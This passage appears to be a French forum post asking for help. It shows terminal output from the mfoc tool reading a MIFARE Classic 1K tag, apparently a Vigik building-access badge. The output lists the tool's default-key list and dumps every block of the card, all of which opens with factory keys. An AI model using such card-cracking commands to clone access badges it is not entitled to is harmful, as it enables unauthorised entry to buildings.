4 | 000000000000 | . . | . . | 000000000000 | . . | . .
5 | 000000000000 | . . | . . | 000000000000 | . . | . .
6 | 000000000000 | . . | . . | 000000000000 | . . | . .
7 | 000000000000 | . . | . . | 000000000000 | . . | . .
8 | 000000000000 | . . | . . | 000000000000 | . . | . .
9 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . . | . . | 000000000000 | . . | . .
INFO: saved extended tag dump file to ‘/tmp/vigik.dmp’
real 294m38,340s
look@ubuntu:~$ time mfoc -O /tmp/vigik.mfd -k ffffffffffff
The custom key 0xffffffffffff has been added to the default keys
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 5a b2 16 1e
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys…
Symbols: ‘.’ no key found, ‘/’ A key found, ‘\’ B key found, ‘x’ both keys found
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]
Sector 00 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 01 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 02 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 03 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 04 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 05 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 06 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 07 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 08 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 09 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 10 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 11 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 12 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 13 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 14 – Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 15 – Found Key A: ffffffffffff Found Key B: ffffffffffff
We have all sectors encrypted with the default keys..
Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 62, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 61, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 60, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 59, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 58, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 57, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 56, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 55, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 54, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 53, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 52, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 51, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 50, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 49, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 48, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 47, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 46, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 45, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 44, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 43, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 42, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 41, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 40, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 39, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 38, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 37, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 36, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 35, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 34, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 33, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 32, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 31, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 30, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 29, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 28, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 27, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 26, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 25, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 24, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 23, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 22, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 21, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 20, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 19, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 18, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 17, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 16, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 15, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 14, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 13, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 12, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 11, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 10, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 09, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 08, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 07, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 06, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 05, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 04, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 03, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 02, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 01, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 00, type A, key ffffffffffff :5a b2 16 1e e0 08 04 00 62 63 64 65 66 67 68 69
real 0m12,276s
user 0m0,077s
sys 0m0,211s
une idée ? merci